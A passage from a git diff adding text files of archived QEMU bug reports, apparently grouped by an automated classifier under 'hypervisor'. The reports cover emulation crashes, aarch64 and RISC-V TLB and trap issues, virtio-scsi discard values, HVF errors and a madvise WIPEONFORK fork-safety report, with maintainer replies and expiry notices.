As a result, a reboot on these + machines would result in a reboot loop. So, the code attempts to + check for that situation and invoke a shutdown instead. + + Commit b837e68d changed the check to run prior to the first reboot. + However, this broke reboots on the QEMU isapc machine type. Change + the reboot loop check to only be invoked after at least one reboot has + been attempted. + + Reported-by: Daniel P. Berrangé <email address hidden> + Signed-off-by: Kevin O'Connor <email address hidden> + + +The SeaBIOS update mentioned by Daniel has been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=0b8f74488e50f + +So I assume this bug is fixed, thus closing this now. If you still can reproduce it with the latest version of QEMU, then please complain. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1761535 b/results/classifier/deepseek-1/output/hypervisor/1761535 new file mode 100644 index 00000000..7342181d --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1761535 @@ -0,0 +1,56 @@ + +qemu-aarch64-static docker arm64v8/openjdk coredump + +I am using qemu-aarch64-static to run the arm64v8/openjdk official image on my x86 machine. Using QEMU master, I immediately hit a bug which hangs the container. With Ubuntu default version qemu-aarch64 version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.24) and qemu-aarch64 version 2.11.1 (v2.11.1-dirty) the hang does not take place. + +To reproduce (and get to the core dump): + +$ /tmp/tmptgyg3nvh/qemu-aarch64-static/qemu-aarch64-static -version +qemu-aarch64 version 2.11.91 (v2.12.0-rc1-5-g47d3b60-dirty) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +$ docker run -it -v /tmp/tmptgyg3nvh/qemu-aarch64-static:/usr/bin/qemu-aarch64-static arm64v8/openjdk /bin/bash +root@bf75cf45d311:/# javac +Usage: javac <options> <source files> +where possible options include: + -g Generate all debugging info +<...snip...> + @<filename> Read options and filenames from file + +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +...TERMINAL HANGS... + + +To get the core dump, In a separate terminal: + +# snapshot the file system of the hung image +$ docker commit $(docker ps -aqf "name=latest_qemu") qemu_coredump + +# connect with known working qemu +$ docker run -t -v /usr/bin/qemu-aarch64-static:/usr/bin/qemu-aarch64-static -i qemu_coredump /bin/bash + +$$ ls -lat +total 10608 +<snip> +-rw-r--r-- 1 root root 10792960 Mar 29 18:02 qemu_bash_20180329-180251_1.core +drwxrwxrwt 5 root root 4096 Mar 29 18:02 tmp +<snip> + +Could you provide a binary that we can use to reproduce, please? (preferably a setup that doesn't require me to figure out how to install and use docker...) + + +I realized I had a javac lying around from last time somebody wanted me to debug a java problem, and I'm also seeing SEGVs with simpler programs like ls (!), so I'll have a look at those and hopefully that will be the same cause as what you're seeing. + + +I think this should be fixed by https://patchwork.ozlabs.org/patch/896295/ + +(incidentally the segfault is in the guest /bin/sh, not in javac or ls.) + + +Now fixed in master, commit 7f0f4208b3a96, and will be in 2.12.0. + + +Many thanks! + +I've just compiled master, and docker/aarch64/openjdk image now works as expected on my x86 machine. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1785972 b/results/classifier/deepseek-1/output/hypervisor/1785972 new file mode 100644 index 00000000..1bf332fe --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1785972 @@ -0,0 +1,78 @@ + +v3.0.0-rc4: VM fails to start after vcpuhotunplug, managedsave sequence + +VM fails to start after vcpu hot un-plug, managedsave sequence + +Host info: +Kernel: 4.18.0-rc8-00002-g1236568ee3cb + +qemu: commit 6ad90805383e6d04b3ff49681b8519a48c9f4410 (HEAD -> master, tag: v3.0.0-rc4) +QEMU emulator version 2.12.94 (v3.0.0-rc4-dirty) + +libvirt: commit 087de2f5a3dffb27d2eeb0c50a86d5d6984e5a5e (HEAD -> master) +libvirtd (libvirt) 4.6.0 + +Guest Kernel: 4.18.0-rc8-00002-g1236568ee3cb + + +Steps to reproduce: +1. Start a guest(VM) with 2 current , 4 max vcpus +virsh start vm1 +Domain vm1 started + +2. Hotplug 2 vcpus +virsh setvcpus vm1 4 --live + +3. Hot unplug 2 vcpus +virsh setvcpus vm1 2 --live + +4. Managedsave the VM +virsh managedsave vm1 + +Domain vm1 state saved by libvirt + +5. Start the VM ---Fails to start +virsh start vm1 + +error: Failed to start domain avocado-vt-vm1 +error: internal error: qemu unexpectedly closed the monitor: 2018-08-08T06:27:53.853818Z qemu: Unknown savevm section or instance 'spapr_cpu' 2 +2018-08-08T06:27:53.854949Z qemu: load of migration failed: Invalid argument + + + +Testcase: +avocado run libvirt_vcpu_plug_unplug.positive_test.vcpu_set.live.vm_operate.managedsave_with_unplug --vt-type libvirt --vt-extra-params emulator_path=/usr/share/avocado-plugins-vt/bin/qemu create_vm_libvirt=yes kill_vm_libvirt=yes env_cleanup=yes smp=8 backup_image_before_testing=no libvirt_controller=virtio-scsi scsi_hba=virtio-scsi-pci drive_format=scsi-hd use_os_variant=no restore_image_after_testing=no vga=none display=nographic kernel=/home/kvmci/linux/vmlinux kernel_args='root=/dev/sda2 rw console=tty0 console=ttyS0,115200 init=/sbin/init initcall_debug' take_regular_screendumps=no --vt-guest-os JeOS.27.ppc64le +JOB ID : 1f869477ad87e7d7e7e7777f631ae08965f41a74 +JOB LOG : /root/avocado/job-results/job-2018-08-08T02.42-1f86947/job.log + (1/1) type_specific.io-github-autotest-libvirt.libvirt_vcpu_plug_unplug.positive_test.vcpu_set.live.vm_operate.managedsave_with_unplug: ERROR (91.58 s) +RESULTS : PASS 0 | ERROR 1 | FAIL 0 | SKIP 0 | WARN 0 | INTERRUPT 0 | CANCEL 0 +JOB TIME : 95.89 s + + + +Bisect result: + +v3.0.0-rc0: vcpu hotplug crashes the domain - https://bugs.launchpad.net/qemu/+bug/1780928, this commit fixes that issue, b585395b655a6c1f9d9ebf1f0890e76d0708eed6 ppc/xics: fix ICP reset path + + +v3.0.0-rc1- v3.0.0-rc4: hotplug crash bug fixed, but now we are hitting this one. + +Last good commit I could find, 2309832afdaf8d6451ebc2e81bace8eb8ea41293 where both vcpu hotplug and managed save sequence worked fine. + +The first commit that causes this issue is: + +b94020268e0b6659499e250d25346baaa9888fed (spapr_cpu_core: migrate per-CPU data) + +Simpler way to reproduce: +1. Hotplug a CPU +2. Hot unplug it +3. Migrate the VM (will fail) + +This commit https://lists.gnu.org/archive/html/qemu-devel/2018-08/msg01281.html from ~bharata-rao, fixes the issue. + +Applied to ppc-for-3.1. + +https://lists.gnu.org/archive/html/qemu-devel/2018-08/msg01317.html + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=cc71c7760e263f808c4240a + diff --git a/results/classifier/deepseek-1/output/hypervisor/1811543 b/results/classifier/deepseek-1/output/hypervisor/1811543 new file mode 100644 index 00000000..187583fc --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1811543 @@ -0,0 +1,82 @@ + +virtio-scsi gives improper discard sysfs entries + +Apologies if this is just an inherent part of paravirtualization that should be expected. + +In my host, I have an LVM thin pool with chunk_size 128MB. Within it, I have a thin volume "tmp". In the host: + +# fdisk -l /dev/lvm/tmp +Disk /dev/lvm/tmp: 256 MiB, 268435456 bytes, 524288 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 4096 bytes +I/O size (minimum/optimal): 262144 bytes / 134217728 bytes +Disklabel type: gpt +Disk identifier: BAE3154E-6E85-F642-8129-BAD7B58B2775 + +Device Start End Sectors Size Type +/dev/lvm/tmp1 2048 524254 522207 255M Linux filesystem + +$ lsblk +... + └─lvm-tmp 254:13 0 256M 0 lvm + └─lvm-tmp1 254:14 0 255M 0 part + +$ cat /sys/dev/block/254:13/discard_alignment +0 +$ cat /sys/dev/block/254:13/queue/discard_granularity +134217728 +$ cat /sys/dev/block/254:13/queue/discard_max_bytes +17179869184 +$ cat /sys/dev/block/254:13/queue/discard_max_hw_bytes +0 +$ cat /sys/dev/block/254:13/queue/discard_zeroes_data +0 + +$ cat /sys/dev/block/254:14/discard_alignment +133169152 +$ cat /sys/dev/block/254:14/queue/discard_granularity +134217728 +$ cat /sys/dev/block/254:14/queue/discard_max_bytes +17179869184 +$ cat /sys/dev/block/254:14/queue/discard_max_hw_bytes +0 +$ cat /sys/dev/block/254:14/queue/discard_zeroes_data +0 + +If this is given to QEMU using virtio-scsi: + + -device virtio-scsi-pci,id=scsi1 \ + -drive driver=raw,node-name=hdb,file=/dev/lvm/tmp,if=none,discard=unmap,id=hd2 \ + -device scsi-hd,drive=hd2,bootindex=1 \ + +Then incorrect values are given: + +$ lsblk +... +sdb 8:16 0 256M 0 disk +└─sdb1 8:17 0 255M 0 part /mnt + +$ cat /sys/dev/block/8:16/discard_alignment +0 +$ cat /sys/dev/block/8:16/queue/discard_granularity +4096 +$ cat /sys/dev/block/8:16/queue/discard_max_bytes +1073741824 +$ cat /sys/dev/block/8:16/queue/discard_max_hw_bytes +1073741824 +$ cat /sys/dev/block/8:16/queue/discard_zeroes_data +0 + +$ cat /sys/dev/block/8:17/discard_alignment +133169152 + +And, there isn't even a /sys/dev/block/8:17/queue direcotry. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/161 + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1817846 b/results/classifier/deepseek-1/output/hypervisor/1817846 new file mode 100644 index 00000000..5d4820db --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1817846 @@ -0,0 +1,56 @@ + +Qemu 3.1 Aarch64 TLBI VAE1, x0 + +Hello, + +In my code I'm trying to remove some permissions to a 4KiB MMU descriptor. After that I invalidate the MMU with + +TLBI VAE1, x0 + +where x0 is the start of the address of the 4 KiB page. + +In Qemu 2.12 this did not work, but I worked around it with: + + + /* invalidate the address */ + TLBI VAE1, x0 + + + /*****************************************************************/ + /*****************************************************************/ + /* NOTE: THIS IS A TRICK FOR QEMU!!!!!!!!!!!! */ + /* Apparently we have to change the TTBR0_EL1 when we change a descriptor (especially to remove permissions) */ + /* Otherwise qemu (2.12) will continue with the same descriptor with permissions! **/ + /*****************************************************************/ + /*****************************************************************/ + + /* do a trick (in qemu) */ + mrs x1 , TTBR0_EL1 + + ldr x2 , =kernelTable0Table + + msr TTBR0_EL1 , x2 + + isb + + msr TTBR0_EL1 , x1 + + /* return from function */ + ret + + +That is, I just replaced the TTBR0_EL1 with a temporary value, and then restored it. (guess qemu 2.12 just needed to reload the values again). + +However, even this procedure is not working with qemu 3.1. (I just tested again with qemu 2.12 and the code works fine, with qemu 3.1 it does not). + +Thanks, +Pharos team + +Could you provide a test binary (and the QEMU command line to run it) that demonstrates the bug, please? + + +Marking bug as incomplete -- we can't investigate without a test case. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1826599 b/results/classifier/deepseek-1/output/hypervisor/1826599 new file mode 100644 index 00000000..06e03119 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1826599 @@ -0,0 +1,20 @@ + +qemu crashes with HV_ERROR with any guest when using HVF on macos + +qemu reliably crashes (after some unknown amount of time) for any guest I've run on macos with HVF acceleration. + +I'm currently running Haiku. After booting and running normally for a few minutes, it abruptly crashes and shows this error on stdout (I'm including the command line arguments): + ++ ISO=haiku-release-anyboot.iso ++ ACCEL='-accel hvf -machine type=q35,accel=hvf' ++ MEM='-m 1G' ++ SMP='-c 2' ++ NET='-device virtio-net,netdev=vmnic -netdev user,id=vmnic' ++ IMG_CD='-cdrom haiku-release-anyboot.iso' ++ IMG_HDD='-device virtio-scsi-pci,id=scsi -drive if=none,id=vd0,file=haiku.img,format=raw -device scsi-hd,drive=vd0' ++ DISPLAY='-usb -device usb-tablet' ++ qemu-system-x86_64 -accel hvf -machine type=q35,accel=hvf -usb -device usb-tablet -m 1G -device virtio-net,netdev=vmnic -netdev user,id=vmnic -device virtio-scsi-pci,id=scsi -drive if=none,id=vd0,file=haiku.img,format=raw -device scsi-hd,drive=vd0 +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +qemu-system-x86_64: Error: HV_ERROR +./qemu-boot.sh: line 19: 67497 Abort trap: 6 qemu-system-x86_64 $ACCEL $CPU $EFI $DISPLAY $MEM $NET $IMG_HDD + diff --git a/results/classifier/deepseek-1/output/hypervisor/1832535 b/results/classifier/deepseek-1/output/hypervisor/1832535 new file mode 100644 index 00000000..62992e74 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1832535 @@ -0,0 +1,26 @@ + +[riscv/regression] Missing tlb flush introduced in refactoring + +Hello, + +In qemu-system-riscv64, following a QEMU update, I get all sort of weird and not easily reproducible crashes in my risc-v guest. + +I have bissected this issue to commit c7b951718815694284501ed01fec7acb8654db7b. +Some TLB flushes were removed in the following places: +target/riscv/cpu_helper.c: `csr_write_helper(env, s, CSR_MSTATUS);` -> `env->mstatus = s;` (twice) +target/riscv/op_helper.c: `csr_write_helper(env, s, CSR_MSTATUS);` -> `env->mstatus = s;` (twice) + +Adding TLB flushes in all 4 places fixes the issues for me. + +Hello, + +Thanks for reporting a bug. + +Can you please include details to reproduce the problems that you are seeing? This includes images and command line arguments. + +Do you also mind including the diff of what fixes the problem for you? + +Alistair + +It has been solved thanks to the mailing-list members. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1850378 b/results/classifier/deepseek-1/output/hypervisor/1850378 new file mode 100644 index 00000000..3b403164 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1850378 @@ -0,0 +1,41 @@ + +RISC-V unreliable IPIs + +I am working on a project with custom inter processor interrupts (IPIs) on the RISC-V virt machine. +After upgrading from version 3.1.0 to 4.1.0 which fixes a related issue (https://github.com/riscv/riscv-qemu/issues/132) I am able to use the CPU hotplug feature. + +However, if I try to use IPIs for communication between two cores, the wfi instruction behaves strangely. Either it does not return, or it returns on timer interrupts, even though they are disabled. The code, I use on one core to wait for an interrupt is the following. + + csr_clear(sie, SIE_SEIE | SIE_STIE); + do { + wait_for_interrupt(); + sipval = csr_read(sip); + sieval = csr_read(sie); + scauseval = csr_read(scause) & 0xFF; + /* only break if wfi returns for an software interrupt */ + } while ((sipval & sieval) == 0 && scauseval != 1); + csr_set(sie, SIE_SEIE | SIE_STIE); + +Since the resulting sequence does not seem to be deterministic, my guess is, that it has something to do with the communication of qemu's threads for the different cores. + +Can you post a whole program that reproduces this? freedom-e-sdk <https://github.com/sifive/freedom-e-sdk> will run bare-metal code on QEMU if you don't want to post the rest of the surrounding infrastructure. + +I created a minimal example from my setup. I'm running a kernel 4.19.57 with a custom firmware based on bbl (https://github.com/riscv/riscv-pk). +An ioctl device from a kernel module is used to execute the code above in kernel space. +In the example, the userspace application proceeds after a couple of seconds without receiving the custom IPI. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1855002 b/results/classifier/deepseek-1/output/hypervisor/1855002 new file mode 100644 index 00000000..bc710426 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1855002 @@ -0,0 +1,35 @@ + +Cannot boot arm kernel images on s390x + +While running the acceptance tests on s390x, the arm tests under qemu/tests/acceptance/boot_linux_console.py will timeout, except the test using u-boot. All the arm tests run without problems on x86 and ppc. + +This test boots the kernel and wait for a kernel panic to make sure it can boot that kind of kernel on the host running the test. The URL for the kernels are available inside the python test code, but I'm listing them here: + +Fail: https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/29/Everything/armhfp/os/images/pxeboot/vmlinuz +Fail: http://archive.raspberrypi.org/debian/pool/main/r/raspberrypi-firmware/raspberrypi-kernel_1.20190215-1_armhf.deb +Fail: https://snapshot.debian.org/archive/debian/20190928T224601Z/pool/main/l/linux/linux-image-4.19.0-6-armmp_4.19.67-2+deb10u1_armhf.deb +Pass: https://raw.githubusercontent.com/Subbaraya-Sundeep/qemu-test-binaries/fa030bd77a014a0b8e360d3b7011df89283a2f0b/spi.bin + +I tried to manually investigate the problem with the first kernel of the list. The command I used to try to boot it was: + +/home/linux1/src/v4.2.0-rc3/bin/qemu-system-arm -serial stdio -machine virt -kernel /home/linux1/venv/python3/data/cache/by_location/1d5fdf8018e79b806aa982600c0866b199946efc/vmlinuz +-append "printk.time=0 console=ttyAMA0" + +On an x86 machine, I can see it boots and ends with a kernel panic as expected. On s390x, it just hangs. + +I also tried to debug with gdb, redirecting the monitor and the serial console to other terminal sessions without success. + +QEMU version is the latest as of today,tag v4.2.0-rc4, commit 1bdc319ab5d289ce6b822e06fb2b13666fd9278e. + +s390x system is a Red Hat Enterprise Linux Server 7.7 running as a z/VM 6.4.0 guest at IBM LinuxONE Community Cloud. + +x86 system is a Fedora 31 running on Intel i7-8650U. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/187 + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1855072 b/results/classifier/deepseek-1/output/hypervisor/1855072 new file mode 100644 index 00000000..410fb97e --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1855072 @@ -0,0 +1,25 @@ + +ARM: HCR.TVM traps are not implemented + +On AARCH64, setting HCR.TVM to 1 is supposed to trap all writes to CTLR_EL1, TTBR0_EL1, TTBR1_EL1, TCR_EL1, ESR_EL1, FAR_EL1, AFSR0_EL1, AFSR1_EL1, MAIR_EL1, AMAIR_EL1, and CONTEXTIDR_EL1. However, it currently has no effect (QEMU emulator version 4.1.1). + +It is also likely that TRVM will not trap, but, I didn't verify this. + +Yes to both. + +Patch posted: +https://lists.nongnu.org/archive/html/qemu-devel/2020-02/msg04401.html + +If you could help testing, that would be appreciated. + +Thank you for the patch! I am happy to test this for you. I will apply the patch/compile/test and get back to you. + +I tested in AArch64 mode and it worked for me. Looking at the patch, we might be missing trapping for "TTBCR"in AA32 though. + +Oops. Thanks for the review. Posted v2 with ttbcr included. + +Thank you! I also tested AArch32 and the code works. Ship it! + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=84929218512c + diff --git a/results/classifier/deepseek-1/output/hypervisor/1855617 b/results/classifier/deepseek-1/output/hypervisor/1855617 new file mode 100644 index 00000000..dc678c6c --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1855617 @@ -0,0 +1,62 @@ + +savevm with hax saves wrong register state + +I use qemu-i386 with IntelHaxm on Windows 10 x64 host with Windows 7 x86 guest. I run the guest till OS loads and create a snapshot with savevm, then close qemu, run it again and try to load the snapshot with loadvm. The guest crashes or freezes. I dumped registers on snapshot creation and loading (in Haxm) and found that they are different. +When returning from Haxm in hax_vcpu_hax_exec, there is no regular register read. I found hax_arch_get_registers function which reads registers from Haxm and is called from a synchronization procedure. I placed a breakpoint on it, ran qemu and found that it is hit one time during guest OS boot. Exactly these registers where saved in the snapshot. + +cc'ing Colin and Yu for Hax info: + +* Alex (<email address hidden>) wrote: +> Public bug reported: +> +> I use qemu-i386 with IntelHaxm on Windows 10 x64 host with Windows 7 x86 guest. I run the guest till OS loads and create a snapshot with savevm, then close qemu, run it again and try to load the snapshot with loadvm. The guest crashes or freezes. I dumped registers on snapshot creation and loading (in Haxm) and found that they are different. +> When returning from Haxm in hax_vcpu_hax_exec, there is no regular register read. I found hax_arch_get_registers function which reads registers from Haxm and is called from a synchronization procedure. I placed a breakpoint on it, ran qemu and found that it is hit one time during guest OS boot. Exactly these registers where saved in the snapshot. +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1855617 +> +> Title: +> savevm with hax saves wrong register state +> +> Status in QEMU: +> New +> +> Bug description: +> I use qemu-i386 with IntelHaxm on Windows 10 x64 host with Windows 7 x86 guest. I run the guest till OS loads and create a snapshot with savevm, then close qemu, run it again and try to load the snapshot with loadvm. The guest crashes or freezes. I dumped registers on snapshot creation and loading (in Haxm) and found that they are different. +> When returning from Haxm in hax_vcpu_hax_exec, there is no regular register read. I found hax_arch_get_registers function which reads registers from Haxm and is called from a synchronization procedure. I placed a breakpoint on it, ran qemu and found that it is hit one time during guest OS boot. Exactly these registers where saved in the snapshot. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1855617/+subscriptions +> +-- +Dr. David Alan Gilbert / <email address hidden> / Manchester, UK + + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/188 + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1861653 b/results/classifier/deepseek-1/output/hypervisor/1861653 new file mode 100644 index 00000000..bf87cd8f --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1861653 @@ -0,0 +1,53 @@ + +CPU of qemu-system-aarch64 always stuck + +I started qemu with these arguments: + qemu-system-aarch64 -M virt-2.9 -cpu cortex-a72 -smp cores=8,threads=1,sockets=1 -m 2G -device nec-usb-xhci -device usb-kbd -device usb-tablet -pflash /sdcard/QEMU_EFI.img -pflash /sdcard/QEMU_VARS.img -device virtio-blk-device,drive=Ubuntu -drive if=none,id=Ubuntu,file=Ubuntu.vhd -nographic -net user -net nic,model=rtl8139 -kernel linux -initrd initrd.gz +The setup program of Ubuntu devel aarch64 ran normally.But after several hours,the CPUs emulated by qemu-system-aarch64 went wrong. +Here are the messages displayed on the tty +[15842.164745] watchdog: BUG: soft lockup - CPU#0 stuck for 23s! [ksoftirqd/0:9] [15930.163589] watchdog: BUG: soft lockup - CPU#0 stuck for 23s! [ksoftirqd/0:9] +[16110.163540] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [ksoftirqd/0:9] +[16290.162801] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [ksoftirqd/0:9] +[16470.163927] watchdog: BUG: soft lockup - CPU#0 stuck for 23s! [ksoftirqd/0:9] +[16650.163246] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [ksoftirqd/0:9] +[16830.163216] watchdog: BUG: soft lockup - CPU#0 stuck for 23s! [ksoftirqd/0:9] +[17010.164504] watchdog: BUG: soft lockup - CPU#0 stuck for 22s! [ksoftirqd/0:9] + +Then I tried CentOS 7.1908 aarch64 with almost the same arguments. +After several hours,it went wrong too. +[17480 . 201 1 58] rcu : (3 ticks this GP) idle=362/0/0x3 softirq=61631 /61 631 fqs=10077 +[17480 . 204889] (detected by 3 , t=24007 jiffies , g=218453 , q=5285) [1 7480 . 21 7986] Task dump for CPU 7 : +[17480.222379] swapper/7R running task 0 +0 0x0000002a [17480.229073] Call trace : +[1 7480.241518] switch t0+0x104/0x1 f8 +[17480.249839] Ox7fffffffffffffff +[17660.232314] rcu : INFO: rcu sched detected stalls on CPUs/ tasks : +[17660.233580] rcu : (3 ticks this GP) idle=362/0/0x3 softirq=61631 /61 631 fqs=17770 +[17660.235837] (detected by 3,t=42012 jiffies , g=218453 , q=7039) +[17660 . 237955] Task dump for CPU 7 : +[17660.238900] swapper/ 7 R running task 0 0 +[17660.242967] Call trace : +[17660.246192] switch t0+0x104/0x1 f8 +[17660.253215] Ox7fffffffffffffff + +Obviously qemu-system-aarch64 caused these bugs. + +qemu version: 4.x(I have tested version 4.0 & 4.1.0 & 4.2.0) +host architecture: aarch64(Qualcomm Snapdragon series) +host system:Ubuntu devel 20.04& Debian 10(I have tested on many devices) + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1863685 b/results/classifier/deepseek-1/output/hypervisor/1863685 new file mode 100644 index 00000000..52a234b8 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1863685 @@ -0,0 +1,36 @@ + +ARM: HCR.TSW traps are not implemented + +On 32-bit and 64-bit ARM platforms, setting HCR.TSW is supposed to "Trap data or unified cache maintenance instructions that operate by Set/Way." Quoting the ARM manual: + +If EL1 is using AArch64 state, accesses to DC ISW, DC CSW, DC CISW are trapped to EL2, reported using EC syndrome value 0x18. +If EL1 is using AArch32 state, accesses to DCISW, DCCSW, DCCISW are trapped to EL2, reported using EC syndrome value 0x03. + +However, QEMU does not trap those instructions/registers. This was tested on the branch master of the git repo. + +Patch posted: +https://<email address hidden>/ + +Thanks for the quick turn around! I tested both your patches together (it's useful to have both to emulate set/way flushing inside a guest) and I am getting something unexpected. At some point, we are trapping on an access to DACR but ESR_EL2 doesn't seem to make a lot of sense: 0xfe00dc0. I am running a 32-bit Linux inside a VM. + +Decoding it: Rt is set to 0xe which is LR_usr. Also, this is a read operation. So, essentially the guest seems to try to set DACR to LR_usr which seems unreasonable. + +It could be an issue with the hypervisor on my side (I am running some custom code). But, it's not obvious to me and the code behaves fine on bare-metal. Is there a chance that ESR is not populated correctly? + +In any case, I do see traps for set/way instructions so, from that point of view, the patch is good. + + + +Sorry, I meant the operation is a write (TVM is on). The result of the operation is setting DACR to 0 so the guest stops progressing after that. + +Anyway, since the issue could also be on my side, I don't want to block you with this. + +I can't think of any reason that DACR would have an incorrect +register value. It would be treated as any other system register, +and there's only one code path involved. + +Makes sense. Debugging is on me then :) Both patches behave as expected, thanks! + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=1803d2713b29 + diff --git a/results/classifier/deepseek-1/output/hypervisor/1872644 b/results/classifier/deepseek-1/output/hypervisor/1872644 new file mode 100644 index 00000000..b9d2f385 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1872644 @@ -0,0 +1,60 @@ + +MacOS host qemu-system-x86_64 -cpu host not working + +MacOS: 10.15.4 +uname -a: Linux door 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux + +I am using qemu on mac host, with ubuntu client. + +I used to have "-cpu host" in my qemu command as follow:- + +qemu-system-x86_64 \ +-no-user-config \ +-nodefaults \ +-name u64d01 \ +-show-cursor \ +-M q35,accel=hvf,usb=off,vmport=off \ +-cpu host \ +-m 8192M \ +-smp 4 \ +-rtc base=utc,clock=host \ +-device virtio-blk-pci,drive=ssd1 \ +-drive id=ssd1,file=/Users/js/code/vm/qemu/u64d01.qcow2,if=none,format=qcow2 \ +-device virtio-net-pci,netdev=nic1,mac=52:54:98:76:54:33 \ +-netdev user,id=nic1,ipv4=on,ipv6=on,hostname=u64d01,hostfwd=tcp::2222-:22 \ +-device virtio-tablet-pci \ +-device virtio-vga \ +-device ich9-intel-hda,id=snd,msi=on \ +-device hda-output,id=snd-codec0,bus=snd.0,cad=0,audiodev=snd0 \ +-audiodev coreaudio,id=snd0 + +Base on log of one of the vm, it was definitely working on 2020-01-17(base on journal inside vm), with qemu 4.2.0, which I installed with brew. + +The only way to make it work is to remove "-cpu host". + +Already tried with 4.1.1, 4.2 and 5.0rc2. Same result. + +To reproduce, try above with a Ubuntu 18.04 installation cd. Client will crash during kernel loading. + + + +I found that things were unstable unless the following were also added +-cpu Nehalem,-rdtscp +(the CPU can be higher than Nehalem but obviously your host CPU actually has to be equal or greater too) + +-rdtscp is a known issue that has since been workedaround (see bug #1894836 ). + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1875702 b/results/classifier/deepseek-1/output/hypervisor/1875702 new file mode 100644 index 00000000..3d4df16b --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1875702 @@ -0,0 +1,32 @@ + +madvise reports success, but doesn't implement WIPEONFORK. + +The implementation of madvise (linux-user/syscall.c:11331, tag v5.0.0-rc4) always returns zero (i.e. success). However, an application requesting (at least) MADV_WIPEONFORK may need to know whether the call was actually successful. If not (because the kernel doesn't support WIPEONFORK) then it will need to take other measures to provide fork-safety (such as drawing entropy from the kernel in every case). But, if the application believes that WIPEONFORK is supported (because madvise returned zero), but it actually isn't (as in qemu), then it may forego those protections on the assumption that WIPEONFORK will provide fork-safety. + +Roughly, the comment in qemu that says "This is a hint, so ignoring and returning success is ok." is no longer accurate in the presence of MADV_WIPEONFORK. + +(This is not purely academic: BoringSSL is planning on acting in this way. We found the qemu behaviour in pre-release testing and are planning on making an madvise call with advice=-1 first to test whether unknown advice values actually produce EINVAL.) + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 